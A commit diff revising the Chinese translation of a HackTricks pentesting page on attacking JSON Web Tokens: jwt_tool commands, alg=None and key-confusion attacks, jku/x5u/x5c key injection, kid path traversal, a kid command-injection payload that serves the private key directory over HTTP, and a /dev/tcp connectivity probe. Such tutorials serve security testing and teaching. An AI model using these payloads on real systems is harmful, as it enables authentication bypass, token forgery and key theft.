Translated ['pentesting-web/hacking-jwt-json-web-tokens.md'] to cn

This commit is contained in:
Translator 2023-08-24 11:21:28 +00:00
parent 377dfc1bb2
commit 8089512757

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -18,8 +18,8 @@
{% embed url="https://go.intigriti.com/hacktricks" %}
**本文的一部分来自:**[**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**伟大的JWT渗透测试工具的作者**[**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**本文的一部分内容来自:**[**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**伟大的JWT渗透测试工具的作者**[**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **快速成功**
@ -29,17 +29,17 @@ python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
如果你很幸运,工具会找到一些情况,其中Web应用程序正确地检查了JWT
如果你很幸运,工具会找到一些情况,即网页应用程序在检查JWT时出现错误
![](<../.gitbook/assets/image (435).png>)
然后你可以在代理中搜索该请求或使用jwt\_tool转储用于该请求的JWT
然后你可以在代理中搜索该请求或使用jwt\_tool转储该请求使用的JWT
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### 在不修改任何内容的情况下篡改数据
你可以只篡改数据而保留签名不变,并检查服务器是否检查签名。尝试将用户名更改为"admin"。
你可以只篡改数据而保留签名,然后检查服务器是否在检查签名。尝试将用户名更改为"admin"。
#### **令牌是否被检查?**
@ -51,7 +51,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
检查令牌在代理的请求历史中的来源。它应该是在服务器上创建的,而不是在客户端上。
* 如果首次出现在客户端,则**密钥**可被客户端代码访问 - 找出它!
* 如果首次出现在客户端,则表示**密钥**可被客户端代码访问 - 找出它!
* 如果首次出现在服务器上,则一切正常。
### 有效期
@ -60,7 +60,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
### 暴力破解HMAC密钥
[**参见此页面。**](../generic-methodologies-and-resources/brute-force.md#jwt)
[**查看此页面。**](../generic-methodologies-and-resources/brute-force.md#jwt)
### 将算法修改为None (CVE-2015-9235)
@ -80,9 +80,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### 在头部插入新的公钥
### 在头部插入新的公钥
攻击者在令牌的头部中嵌入一个新的密钥服务器使用这个新的密钥来验证签名CVE-2018-0114
攻击者在令牌的头部入一个新的密钥服务器使用这个新的密钥来验证签名CVE-2018-0114
可以使用"JSON Web Tokens" Burp扩展来实现这一点。\
将请求发送到Repeater在JSON Web Token选项卡中选择"CVE-2018-0114"并发送请求)。
@ -91,7 +91,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
如果令牌使用了“jku”头声明请查看提供的URL。这个URL应该指向一个包含用于验证令牌的公钥的JWKS文件。篡改令牌将jku值指向一个你可以监视流量的Web服务。
如果你得到一个HTTP交互那么你现在知道服务器正在尝试从你提供的URL加载密钥。_使用jwt_tool的-S标志和-u_ [_http://example.com_](http://example.com) _参数生成一对新的密钥注入你提供的URL生成包含公钥的JWKS并用私钥签名令牌_
如果你得到一个HTTP交互那么你现在知道服务器正在尝试从你提供的URL加载密钥。_使用jwt_tool的-S标志和-u_ [_http://example.com_](http://example.com) _参数一起生成一个新的密钥对注入你提供的URL生成一个包含公钥的JWKS并用私钥签名令牌_
### Kid问题
@ -99,12 +99,12 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
#### "kid"问题 - 泄露密钥
如果头部使用了"kid"声明请检查该文件或其变体在Web目录中是否存在。例如,如果`"kid":"key/12345"`,则查找Web根目录下的_/key/12345_和_/key/12345.pem_
如果头部使用了"kid"声明,请检查该文件或其变体是否存Web目录中。例如如果`"kid":"key/12345"`,则查找_web root_ 中的 _/key/12345__/key/12345.pem_
#### "kid"问题 - 路径遍历
如果头部使用了"kid"声明,请检查是否可以在文件系统中使用不同的文件。选择一个你可能能够预测内容的文件,或者尝试`"kid":"/dev/tcp/yourIP/yourPort"`来测试连接性,甚至一些**SSRF**载荷...\
使用jwt_tool的-T标志来篡改JWT并更改kid声明的值然后选择保留原始签名
_使用jwt_tool的-T标志来篡改JWT并更改kid声明的值然后选择保留原始签名_
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -116,7 +116,7 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
#### "kid"问题 - OS注入
在“kid”参数包含指向包含密钥的文件的路径并且路径正在**执行的命令**中使用时您可以使用以下有效负载获得RCE并公开私钥`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
在“kid”参数包含指向包含密钥的文件的路径并且路径正在**执行的命令**中使用时您可以使用以下有效负载获得RCE并公开私钥`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### 杂项攻击
@ -124,8 +124,8 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
**跨服务中继攻击**
某些Web应用程序使用受信任的JWT“服务”为其生成和管理令牌。过去曾发生过这样的情况即为JWT服务的一个客户端生成的令牌实际上可以被该JWT服务的另一个客户端接受。\
如果您观察到JWT通过第三方服务发出或更新则值得确定是否可以使用相同的用户名/电子邮件在该服务的另一个客户端上注册帐户。如果可以,请尝试将该令牌重放到目标请求中。是否被接受?
某些Web应用程序使用受信任的JWT“服务”为其生成和管理令牌。过去曾发生过这样的情况即为JWT服务的一个客户端生成的令牌实际上可以被该服务的另一个客户端接受。\
如果您观察到JWT通过第三方服务发出或更新则值得确定是否可以使用相同的用户名/电子邮件在该服务的另一个客户端上注册帐户。如果可以,请尝试将该令牌重放到目标请求中。是否被接受?
* 如果您的令牌被接受,则可能存在一个关键问题,允许您伪造任何用户的帐户。但是,请注意,如果您正在第三方应用程序上注册,您可能需要寻求更广泛的测试权限以防止进入法律灰色地带!
@ -141,7 +141,7 @@ JWT重放攻击的一种缓解措施由JWT RFC建议是使用“exp”声
#### jku
jku代表**JWK Set URL**。\
如果令牌使用“**jku**”**头**声明,则**检查提供的URL**。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。首先您需要创建一个包含新私钥和公钥的新证书
如果令牌使用“**jku**”**头**声明,则**检查提供的URL**。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。首先您需要创建一个包含新私钥和公钥的新证书
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -169,19 +169,19 @@ X.509 URL。指向一组以PEM格式编码的X.509(证书格式标准)公共
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
然后,您可以使用例如[**jwt.io**](https://jwt.io)来使用**创建的公钥和私钥并将参数x5u指向创建的证书.crt**来创建新的JWT。
然后,你可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥,并将参数 x5u 指向创建的证书 .crt** 来创建新的 JWT。
![](<../.gitbook/assets/image (439).png>)
您还可以滥用这两个漏洞**用于SSRF攻击**。
你还可以滥用这两个漏洞**用于 SSRF 攻击**。
#### x5c
此参数可能包含**以base64编码的证书**
该参数可以包含**以 base64 编码的证书**
![](<../.gitbook/assets/image (440).png>)
如果攻击者**生成了自签名证书**,并使用相应的私钥创建了伪造的令牌,并将"x5c"参数的值替换为新生成的证书并修改其他参数即n、e和x5t那么服务器接受该伪造的令牌
如果攻击者**生成了自签名证书**,并使用相应的私钥创建了伪造的令牌,并将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e x5t那么伪造的令牌将被服务器接受。
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
@ -218,14 +218,14 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
最后,使用公钥、私钥和新的 "n" 和 "e" 值,您可以使用 [jwt.io](https://jwt.io) 伪造一个包含任意信息的新有效 JWT。
最后,使用公钥和私钥以及新的“n”和“e”值您可以使用[jwt.io](https://jwt.io)伪造一个包含任何信息的新有效JWT。
### JTI (JWT ID)
### JTIJWT ID
JTI (JWT ID) 声明为 JWT 令牌提供了一个唯一标识符。它可以用于防止令牌被重放。\
然而想象一种情况ID 的最大长度为 40001-9999。请求 0001 和 10001 将使用相同的 ID。因此如果后端在每个请求中递增 ID您可以滥用此功能来**重放请求**(需要在每次成功重放之间发送 10000 个请求)。
JTIJWT ID声明为JWT令牌提供了一个唯一的标识符。它可以用于防止令牌被重放。\
然而想象一种情况ID的最大长度为40001-9999。请求0001和10001将使用相同的ID。因此如果后端在每个请求上递增ID您可以滥用此功能来**重放请求**需要在每次成功重放之间发送10000个请求
### JWT 注册声明
### JWT注册声明
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
@ -234,18 +234,18 @@ JTI (JWT ID) 声明为 JWT 令牌提供了一个唯一标识符。它可以用
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug 赏金提示****注册** Intigriti一个由黑客创建的高级**Bug 赏金平台**!立即加入我们的 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
**Bug赏金提示****注册**Intigriti一个由黑客创建的高级**Bug赏金平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗?您想在 HackTricks 中**宣传您的公司**吗?或者您想获得最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的公司广告吗或者您想获得PEASS的**最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>